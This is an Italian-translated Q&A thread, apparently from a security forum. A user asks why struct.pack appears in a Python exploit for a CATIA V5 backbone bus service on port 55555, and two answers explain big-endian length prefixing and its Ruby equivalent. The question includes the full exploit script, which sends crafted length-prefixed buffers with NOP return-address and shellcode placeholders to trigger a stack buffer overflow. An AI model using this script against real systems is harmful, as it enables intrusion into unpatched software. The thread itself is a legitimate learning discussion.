Domanda di exploit Python?

2

Qualcuno può spiegare come e perché questo codice struct.pack è usato nell'exploit sottostante? Sto cercando di capire come si innesca la vulnerabilità. Comprendo l'aspetto dell'overflow del buffer, mi riferisco al metodo struct.pack di sotto. Anch'io sono un ruby, e ho fatto qualche prelim scavando nel codice sruct.pack di seguito, ma ancora non capisco come fa scattare il vuln e perché è necessario. Sono in procinto di portare lo sploit in un modulo msf e, a questo punto, ho verificato che l'exploit funzioni, ma non riesco a capire come funziona.

s.send(struct.pack('>I',len(buff)))structwrites/readsbinarydata.packreturnsstringcontainingvalues'>I',len,buff...packedaccordingtogivenformat.>representsbigendianbytealignment(standardsizenoalignment)Iformatcharacter=integerpythontype(4bytepackedvalue)len=bufferlength

Ref: link link

#!/usr/bin/env python

import socket
import struct
import ctypes

RetAdd="\x90\x90\x90\x90"
Shell="S" *1000
buff= "\x00\x01\x00\x30" + "A" * 20 + "AppToBusInitMsg" +"\x00" + "\x00" * 48 + "CATV5_Backbone_Bus" +"\x00" + "\x00"* 49 + "\x00\x00\x00\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.3", 55555))
#s.connect(("192.168.0.5", 55558))
s.send(struct.pack('>I',len(buff) ))
s.send(buff)
buff= "\x02\x00\x00\x00" + RetAdd*3 + "\x00\x00\x00\x00" * 13 + "\x00\x00\x00\x00" * 5 + "CATV5_AllApplications" +"\x00" + "\x00"* 43 +"\x00\x00\x98" + "\x00\x00\x00\x01" +"\x00"*4 +"\x08\x00\x00\x00" + Shell                                  
s.send(struct.pack('>I',len(buff) ))
s.send(buff)
    
posta nanotechz9l 28.02.2014 - 07:56
fonte

2 risposte

3

Non penso che il codice che stai marcando sia quello che sta per sfruttare il bug:

s.send(struct.pack('>I',len(buff) ))

Ciò che sta facendo questa linea è l'invio della lunghezza del buffer che sta per inviare subito dietro alle corrette endiannes (Big Endian o network endiannes).

Credo che l'exploit stesso abbia a che fare con le lunghezze della variabile "buff" inviata che probabilmente sarà gestita male:

A stack buffer overflow occurs when copying a user supplied input to a stack buffer of user supplied size.

    
risposta data 28.02.2014 - 08:12
fonte
1

s.send(struct.pack('>l',len(buff))) può essere letto come "invia un big endian long (4 byte) contenente il valore [lunghezza del buff] sul socket".

struct.pack sta specificando sia l'endianità che il numero di byte da scrivere sul filo.

link

Nel porting su Ruby, sembra che la traduzione più probabile per% co_de di Python sia struct.pack di Ruby. Non ho mai scritto Ruby ma direi che array.pack è quello che vuoi (big endian a 32 bit senza segno)

link

    
risposta data 01.03.2014 - 19:31
fonte

Leggi altre domande sui tag